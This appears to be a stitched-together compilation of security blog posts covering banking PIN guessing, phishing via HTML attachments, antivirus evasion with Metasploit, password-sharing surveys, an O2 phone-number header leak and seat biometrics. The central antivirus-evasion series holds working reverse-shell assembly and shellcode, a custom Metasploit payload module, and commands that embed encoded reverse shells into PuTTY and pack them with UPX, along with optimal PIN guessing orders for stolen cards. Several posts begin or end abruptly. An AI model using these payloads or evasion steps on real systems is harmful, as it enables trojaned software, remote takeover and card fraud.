Banking PIN selection

When examining banking PINs, the researchers discovered that:

• About a quarter of users use dates to generate their code. 29% use their date of birth, 26% the birth date of a partner or family member, and 25% an important life event like an anniversary or graduation.
• 9% of users choose a pattern on the keypad, and 5% choose a numeric pattern.

Guessing a PIN

Banking PINs can be tried three times at an ATM and three times at the point of sale, before the card is blocked. A prepared attacker therefore has six attempts at the PIN before the card is no longer exploitable.

Without a birthdate – without knowing the birthdate of the victim, the optimal guessing order for banking PINs is 1234, followed by the years 1990, 1989, 1988, 1987, 1986. At this point the card would be blocked. Chances of success with six guesses are 2%.

With a birthdate – if the birthdate of the owner is known, the chances of success are much higher. The optimal guessing order becomes YYYY, DMYY, DDMM, MMDD, 1234, MMYY. The chance of success with six guesses increase to 8%.

Other important factors

The victim’s date of birth is only one of the factors that should be used when guessing a PIN.

One third of users will reuse their PIN in another system, where it may be accessible to an attacker. Of those, 21% use their banking PIN for access to their voicemails, and 15% use it as an Internet password. 7% of users, therefore, tell their voicemail company their banking PIN. Getting at that voicemail PIN would therefore be a very high priority for an attacker.

Here is the definition From Mozilla:

Phishing is a form of identity theft that occurs when a malicious Web site impersonates a legitimate one in order to trick you into giving up sensitive information such as passwords, account details, or credit card numbers. Phishing attacks usually come from email messages that attempt to lure the recipient into updating their personal information on fake, but very real looking, Web sites.

Many browsers now contain features that allow users to report possible phishing websites, and that warn other victims not to visit those sites. If you enable the feature on Firefox, for example, it will download a list of known phishing websites every 30 minutes and will check every URL that you visit against that list. If it gets a hit, it will alert you before allowing you to proceed, or giving you the option of

In the last year, phishers have developed a workaround. Now, rather than sending you to a realistic-looking, but fake, website that may set off alerts in your browser, they are now attaching HTML files to their spam e-mails and inviting users to load the file and enter the details. Because the file is saved and opened locally, browsers aren’t getting a chance to match anything against their lists.

Only the final press of the ‘submit’ button results in any data being sent across the Internet, and because the URL that the data is sent to is hidden, fewer people are identifying and reporting those addresses to browser companies.

Here is an example.

Last week, I received an e-mail from Santander inviting me to update my details, and threatening me with closure of my account if I do not comply. For me, there are three clear indications that this is a hoax:

Real banks never ask you for this kind of information in an e-mail
The english is badly formed
I don’t bank with Santander

The e-mail has an HTML file attachment which I downloaded and opened in my browser. The first thing that I noticed was the popup about security that invited me to download a copy of Trusteer. I initially assumed this was an infected copy, but it would appear not. Either this was a very clever persuasion technique on the part of the phishers (“we truely care about your security”), or they were accidentely including genuine popups from the real Santander website.

Once the popup had been dismissed, I was presented with a form asking me for all my personal details – name, address, password, mothers maiden name – everything required to take over my identity. The submit button sent the details to a website in Uruguay which, incidentally, was a genuine website that appeared to have been compromised by the phishers.

In the last month things have changed again.

Since the start of 2012, the Cutwail worm has been responsible for generating a large amount of attachment spam – these figures are from from M86 Labs:

Our spamnet here at Digital Threat has collected a number of these Cutwail messages – this is the FDIC message from January 2012:

and the Xerox message from Februrary 2012:

The difference with these messages is that they don’t request any personal detail. They use social engineering techniques to get you to open the attachment, but the attachment immediately directs you to an attack server, via an i-frame, which attempts to compromise your machine.

The e-mail attachments themselves contain obfuscated Javascript, which, when decoded, resolve to an iframe.

The iframe itself redirects to the attach server which, in this case, was an instance of the Pheonix exploit kit. Pheonix includes a number of exploits for known vulnerabilities in browsers and plugins.

The lessons? Look out for bad language, unexpected requests for personal information, and don’t open any attachments if you don’t know the sender, or weren’t expecting the e-mail. Just double-clicking on an HTML file attachment could lead to compromise.

• encoded payloads are marginally less likely to be detected than unencoded payloads
• when staged payloads are used (a small payload that then downloads the remainder in a second stage), the detection rate of encoded payloads is considerably lower
• packing of payloads using UPX reduces detection rates to less than 50%.

The most successful exploit that we created used Metasploit’s windows/shell/reverse_http staged payload, and was encoded using Shikata Ga Nai. It was embedded into PuTTY (our carrier program) and then packed with UPX.

In this second article we examine whether the use of custom shellcode in a payload makes detection by anti-virus less likely.

Shellcode

Firstly, we need some shellcode to test. Creation of custom shellcode is beyond the scope of this article, so, for the sake of simplicity, we have borrowed a reverse shell payload from an excellent article over at Project Shellcode. It is written in x86 assembler and creates a reverse shell to a given IP address (in this case 192.168.1.68) on a given port (in this case 4444).

[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: find_kernel32

find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;END FUNCTION: find_kernel32

;FUNCTION: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp

compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret

;END FUNCTION: find_function

;FUNCTION: resolve_symbols_for_dll

resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret

;END FUNCTION: resolve_symbols_for_dll

;DEFINE CONSTANTS

locate_kernel32_hashes:
    call locate_kernel32_hashes_return

    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec

    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16

    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73

;locate_ws2_32_hashes:

    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad

    ;connect
    db 0xec
    db 0xf9
    db 0xaa
    db 0x60

    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b

;END DEFINE CONSTANTS

start_asm:	 ; start our main program
    sub esp, 0x68	; allocate space on stack for function addresses
    mov ebp, esp	; set ebp as frame ptr for relative offset on stack

    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax

    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes	;locate address of our hashes
locate_kernel32_hashes_return:	;define return label to return to this code
    pop esi	 ;get constants address from stack
    lea edi, [ebp + 0x04]	;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C	 ;length of kernel32 hash list
    call resolve_symbols_for_dll

    ;resolve ws2_32 symbols
add ecx, 0x0C	 ;length of ws2_32 hash list

    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp	 ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
call [ebp + 0x04]	;call LoadLibraryA(ws2_32)

pop edx	 ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll

initialize_cmd:	 ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x30], esp

WSAStartup:	 ;initialise networking

    xor edx,edx	 ;make some stack space
    mov dh, 0x03	 ;sizeof(WSADATA) is 0x190
    sub esp, edx

    	 ;initialize winsock
    push esp	 ;use stack for WSADATA
    push 0x02	 ;wVersionRequested
    call [ebp + 18h]	;call WSAStartup

    add esp, 0x0300	 ;move esp over WSAData

;SECTION: start custom shellcode

create_socket:	 ;same as portbind
    xor eax, eax	 ;zero eax
    push eax	 ;Push the dwFlags argument to WSASocket as 0.
    push eax	 ;Push the g argument to WSASocket as 0.
    push eax	 ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax	 ;Push the protocol argument to WSASocket as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax	 ;Increment eax to 2.
    push eax	 ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10]	;Call WSASocket to allocate a socket for later use.
    mov esi, eax	 ;Save the socket file descriptor in esi.

do_connect:
    push 0x4401a8c0     ;  192.168.1.68
    mov eax, 0x5c110102	;Set the high order bytes of eax to the port to connect to in networkbyte order (4444). The low order bytes should be set to the family, in this case AF INET3.
    dec ah	 ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
    push eax	 ;Push the sin port and sin family attributes.
    mov ebx, esp	 ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    xor eax, eax	 ;Zero eax.
    mov al, 0x10	 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
    push eax	 ;Push the namelen argument which has been set to 16.
    push ebx	 ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi	 ;Push the s argument as the file descriptor that was previously returned from WSASocket.
    call [ebp + 0x14]	;Call connect to establish a TCP connection to the remote machine on the specified port.

initialize_process:
    xor ecx, ecx	 ;Zero ecx.
    mov cl, 0x54	 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx	 ;Allocate stack space for the two structures.
    mov edi, esp	 ;Set edi to point to the STARTUPINFO structure.
    push edi	 ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax	 ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb	 ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi	 ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44	;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d]	;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi	 ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi	 ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38]	;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd	 ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi	 ;Restore edi to its original value.
execute_process:
    xor eax, eax	 ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44]	;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi	 ;Push the pointer to the lpProcessInformation structure.
    push edi	 ;Push the pointer to the lpStartupInfo structure.
    push eax	 ;Push the lpStartupDirectory argument as NULL.
    push eax	 ;Push the lpEnvironment argument as NULL
    push eax	 ;Push the dwCreationFlags argument as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax	 ;Decrement eax back to zero.
    push eax	 ;Push the lpThreadAttributes argument as NULL.
    push eax	 ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x30]	;Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
    push eax	 ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08]	;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

exit_process:
    call [ebp + 0x0c]	;Call ExitProcess as the parent no longer needs to execute

Compiling the shellcode

We compiled the shellcode using the shellcode compiler script from Project Shellcode, which uses nasm to assemble the code, xxd to convert the binary output to a hex string, and then formats the string as a C array.

$ ./shellcode-compiler.sh connectback.asm

Testing the shellcode

The first step in using the shellcode is to check that it executes correctly in a Windows environment and creates the reverse shell that we expect. The simple C program below executes the shellcode in the array and tests the payload’s functionality.

char code[] = "\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xff\x55\x0c";

int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) code;
  (int)(*funct)();
}

The program was compiled in the Windows victim environment using GCC. To test the payload functionality, we created a port 4444 listener on our base computer and ran the manually compiled test program on our victim windows machine.

C:\> gcc.exe c:\connectback.shellcode.c -o c:\manual_digithreat_rt.exe

Creating a Metasploit Payload

Metasploit is modular, and additional modules can be added very easily by dropping a new Ruby file into the correct directory. In this case we created a module named shell_digithreat_reverse_tcp.rb and dropped it into /opt/framework3/msf3/modules/payloads/single/windows/. We based our new module on the existing shell_reverse_tcp.rb module supplied with Metasploit.

When creating a new module you have to calculate the correct offsets for at least the parameters LHOST and LPORT in your shellcode. Metasploit will allow users to supply these attributes when using your module and it will automatically overwrite your shellcode at the appropriate offsets.

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Windows
	include Msf::Payload::Single
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Windows Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision: 8642 $',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => [ 'vlad902', 'sf' ],
			'License'       => MSF_LICENSE,
			'Platform'      => 'win',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 304, 'n'    ],
							'LHOST'    => [ 297, 'ADDR' ],
						},
					'Payload' =>
							"\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f"+
							"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b"+
							"\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b"+
							"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"+
							"\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0"+
							"\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"+
							"\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"+
							"\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7"+
							"\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00"+
							"\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72"+
							"\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb"+
							"\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff"+
							"\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00"+
							"\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33"+
							"\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a"+
							"\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08"+
							"\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00"+
							"\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40"+
							"\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01"+
							"\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55"+
							"\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6"+
							"\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31"+
							"\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75"+
							"\x30\x50\xff\x55\x08\xff\x55\x0c"
				}
			))
	end

end

Once the module was in place and the offsets had been calculated, we used msfpayload to generate raw binary shellcode using our new payload module. Firstly, we asked Metasploit to generate the shellcode with no changes (i.e. with the same values for IP address and port that we had compiled into it earlier). Secondly we changed the IP address and port.

$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | xxd
$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=127.0.0.1 LPORT=5555 R | xxd

A careful examination of the output illustrates the IP address and port being correctly overwritten.

Given that the raw shellcode being generated by our payload is exactly equal to the shellcode that we compiled and tested earlier, the module should work in a similar fashion to the others included in Metasploit. There is one important caveat here, relating to null bytes, which must not be included in any shellcode which needs to go through any string manipulation function. Strings are terminated by null bytes and the shellcode will be truncated at the first instance of \x00. If this payload were to be utilised in a buffer overflow exploit, for example, the assembler would need to be re-worked to remove any null bytes from the assembled object code.

Using our new Metasploit Payload

With a valid custom payload module included in our Metasploit environment, we can ask msfpayload to generate a raw executable payload and can use msfencode to encode the payload using Shikata Ga Nai and embed it into our carrier application. As in Part 1, we used PuTTY as the carrier. We also packed the resultant implanted version of PuTTY with UPX.

$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > raw_digithreat_rt.exe
$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x ./putty.exe -o ./putty-digithreat-rt.exe

Results

So, how did we fare? When using raw payloads generated by msfpayload or encoded payloads embedded in PuTTY, our custom shellcode was detected by roughly the same percentage of anti-virus products as the standard Metasploit payloads.

We were disappointed. Either the anti-virus products were using heuristics to catch our payload, or they had a signature for the Project Shellcode payload we used, or they were picking up on something else. Something related to the way Metasploit generates executable payloads.

To test the latter, we ran manually compiled version of our payload – with no carrier application – against all the anti-virus products. This manually compiled version was really only intended to test the payload functionality, but importantly it had been nowhere near Metasploit. The result? Without any form of encoding or packing, it was detected by only 15% of the anti-virus products in our lab.

Conclusions

From our experimentation in this series of articles, we must conclude that the chance of payload detection by anti-virus is affected by a number of factors:

• Payload type – single vs staged
• Payload signature – known metasploit module vs custom shellcode
• Packing – none vs UPX
• Tools used – msfpayload vs custom executable

The most successful payload was staged, used custom shellcode, was packed, and was built into an executable manually.

We have put this premise to the test by running four popular Metasploit payloads through a number of popular anti-virus products. We chose four popular payloads used to gain interactive control of a target computer running Windows:

• Meterpreter using Reverse TCP (staged)
• Shell using Reverse TCP (single)
• Shell using Reverse DNS (staged)
• Shall using Reverse HTTP (staged)

We’ve selected both single payload (the whole payload is included) and staged payloads (the original payload contains instructions to download the full payload). Staged payloads are often used to avoid anti-virus detection because the signature is much reduced, and static heutirstic analysis can’t reveal any malicious behaviour. Dynamic heuristic analysis would, of course, spot the full payload being downloaded and executed.

We generated three forms of each of the four payloads:

• A raw payload as a Windows exe
• Embedded into PuTTY and encoded using Metasploit’s Shikata Ga Nai algorithm
• Embedded into PuTTY using Shikata Ga Nai and then packed using UPX

As a control, we also ran a clean form of PuTTY through all the virus scanners in both native form and also packed using UPX.

Generation of raw payloads

Metasploit payloads can be generated at the command line using msfpayload. It can output in windows exe format, as raw binary shellcode, and in various programming languages ready for compilation. The following executable payloads were generated:

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > mrt.exe
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > srt.exe
$ msfpayload windows/shell/reverse_tcp_dns LHOST=192.168.1.68 LPORT=4444 X > srdt.exe
$ msfpayload windows/shell/reverse_http PXHOST=192.168.1.68 LPORT=4444 X > srh.exe

Generating encoded payloads using Metasploit’s Shikata Ga Nai

The assumption behind encoded payloads is that fewer anti-virus products will pick up on them. Standard signature detection will be defeated, so the anti-virus program must either unpack the payloads statically, or run the applications dynamically in a sandbox and monitor their behaviour (i.e. heuristic scanning).

The msfencode utility can be used to encode a payload in raw format from msfpayload and can also place it into a host binary, in this case the PuTTY application. The following encoded payloads were generated:

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_mrt.exe
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.1.68 LPORT=444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srt.exe
$ msfpayload windows/shell/reverse_tcp_dns LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srtd.exe
$ msfpayload windows/shell/reverse_http PXHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srh.exe

Packing with UPX

Each of the Shikata Ga Nai packed payloads, embedded into PuTTY, were packed using the popular UPX packer which compresses the executable code and adds a real-time decompressor to the executable. Like the use of Shikata Ga Nai, UPX reduces the ability of an anti-virus product to use signature detection.

Results

First, our control tests. No anti-virus products detected PuTTY as a virus. Around 8% detected the UPX packed version of PuTTY as a virus. This indicates that these products assume that any UPX executable is malicious.

All the payloads we created were detected by at least 60% of the anti-virus products we tested. These represent a cross-section of popular free and commercial solutions currently available. Use of HTTP as a transport mechanism slightly reduced the chance of detection. Shikata Ga Nai marginly reduced the number of anti-virus protects that detected the payloads, most noticably when using staged payloads (DNS and HTTP).

Most interestingly, despite 8% of products flagging any UPX packed binary, only around 50% of the products tested detected the UPX packed payloads. Presumably a limited number of the products we used have a UPX unpacking capability.

Conclusion

Staged payloads, embedded into a host application, and then packed with UPX, are the most effective Metasploit combinations that we tested, and were detected by only 40% of the anti-virus products in our lab.

If you want to avoid detection, a 60% success rate is not good enough. Remember, our implant was caught by 40% of the products, not 40% of the targets. Assuming the better anti-virus products have a larger market share, our 40% product failure rate could look more like an 80 or 90% detection rate on target machines.

In Part 2 of this series, we’ll example the use of custom shellcode to evade anti-virus. Heuristic scanners are always difficult to evade becuase they examine the behaviour of the payload, but signature based detection systems will miss anything they don’t already know about. Writing your own unknown and unsignatured shellcode is therefore the first step towards slipping through their net.

As we struggle to comprehend the wide-spanning socio-technical fallout caused by data collection and social networks, our modern culture is caught in an undercurrent of cyber-attacks, identity theft and privacy invasion. Both enlightening and disturbing, CODE 2600 is a provocative wake-up call for a society caught in the grips of a global technology takeover.

And unlike most documentaries on ‘hackers’ or information security, it looks relatively accurate and very interesting.

Code 2600 deputs at the Cinequest 2012 film festival in San Jose, California in March.

A fascinating insight into the security savvy of the general public was gained in an experiment in London in 2004 when commuters passing through London’s Liverpool Street station were invited to take part in a survey. As part of the survey, the subjects were asked questions about their password, use with the aim of either eliciting the password itself, or gaining enough information about the password choice to make a correct guess relatively simple. The reward for taking part? A chocolate bar. The result? More than 70% of those interviewed revealed their password.

Though worrying, what is the actual risk of giving your password up to a complete stranger during a public survey? Probabaly not that high – as a participant, most people could be relatively sure that the survey was genuine and that the whole process wasn’t part of some elaborate theatre in a targeted attempted to extract their password.

The experiment was repeated in London again in 2007 and 2008, by when the numbers were significantly lower. 64% succumbed in 2007, and in 2008 only 45% of women and 10% of men were prepared to reveal their password in exchange for a chocolate bar.

But what about giving your password to somebody closer to home?

The 2008 experiment went further and incorporated a telephone conversation, releaving that 58% would reveal their password over the phone to anybody who claimed to be from the ‘IT department’. More on that kind of Social Engineering in Kevin Mitnik’s excellent book The Art of Deception.

Looking at the personal, rather than the professional, environment, the United States based Pew Research Centre released a report in late 2011 on Teens, kindness and cruelty on social network sites. As part of the research, Pew asked 800 teenagers how well protected their passwords were. The result? 30% had shared a password with a friend or partner. The trend was particularly strong amongst older girls, nearly half of whom had shared passwords with friends.

The students reported a variety of reasons for sharing passwords. Number one was intimacy – sharing your entire online life with a partner is a way to demonstrate absolute commitment. It’s also a method of building trust where trust doesn’t exist beforehand, though perhaps not a particularly healthy method. Other reasons existed too, including allowing a friend to lock you out of your facebook account to force you to revise for final exams.

As information security professionals, what can we learn from this? Firstly, users are human beings and they don’t always make rational, well risk-assessed decisions. They suffer from what psychologists call a truth-bias – a inbuilt assumption that what people say to them is the truth. The Inquirer reports that:

When people were eventually told that the survey they had just filled in had actually been part of a security awareness test, most were surprised, with some claiming that because the researchers looked so well dressed and honest, they seemed trustworthy and not in the least bit criminal.

Education will help here, but you need to be careful not to produce a workforce of paranoid, untrusting, staff. There is at least one hard and fast rule that all employees should know – never give your password to anybody – not your colleagues, not your manager, not the IT department, not the CEO.

Good design is also part of the solution – a system that restricts account sharing by design will always be more successful than relying on your users to protect your system for you. Where appropriate, the use of secure tokens and/or biometric authentication could reduce or even eliminate the problem.

Security is of the utmost importance to us and we take the protection of our customers’ data extremely seriously.

We have seen the report published this morning suggesting the potential for disclosure of customers’ mobile phone numbers to website owners.

We investigated, identified and fixed it this afternoon. We would like to apologise for the concern we have caused.

When accessing a website, a user’s browser normally reveals some information about the request. Usually the browser identifies itself, its version and the operating system type and version (this appears in the USER_AGENT header). The head also sometimes identifies proxy servers (in the X_FORWARDED_FOR header). In this case, O2 were adding the mobile phone number associated with the handset in a new header HTTP_X_UP_CALLING_LINE_ID.

So how did this happen? O2 explain in their apology that they reveal a customers phone number purposefully in a number of situations. Firstly, if a website requires it for age verification, secondly, if the website is part of the O2 network and the number is required for accessing services, and thirdly, if the website wants to use the number for billing for premium services. In this case, those three rules had apparently been wiped out, and the number was available to all websites.

And does this happen elsewhere? Well, Collin Mulliner, a student at the Technical University in Berlin, wrote a paper about this for CanSecWest back in 2010. He identified a number of instances of HTTP requests being tagged with header information relating to the mobile phone number or SIM card information. In most cases, Mulliner discovered that this information was actually being added by proxy servers in provider networks which reformat pages for devices with small screens. As a result, it affected medium-price-range phones and not expensive, large-screen Android or iPhone devices.

So it would appear that this does occur regularly elsewhere in the world, but it looks like a first for O2. If you’re interested in checking your own 3G connection, Mulliner developed a website which analyses your headers and highlights anything that you might need to be concerned about. Remember to disable your WiFi before visiting the site.

The Japanese scientists have developed a pressure sheet with 360 sensors that collects 39 readings to uniquely identify a person. Dr Shigeomi Koshimizu led the research, but admitted that it isn’t quite ready for market:

The recognition tends to be compromised by different clothes. Sensors read different signals from a pair of trousers and a pair of jeans.

He is already quoting a 98% accurancy, though the scientists didn’t indicate whether they were suffering from a rate of 2% false-positives (i.e. 2 in 100 intruders would succeed in getting into the building) or 2% false-negatives (i.e. 2 in 100 genuine staff would be excluded from the building). Typically, biometrics seek a very low false positive (Type I) error rate, and worry less about false negative (Type II) rates.

To compare the “bottom-print” biometric with the more traditional fingerprint, analysis of fingerprints conducted by trained experts suffers from a false positive rate of 0.1% and a false negative of 7.5%, so bottom-printing requires some work yet before you’re likely to see it as an authentication mechanism to start your car.

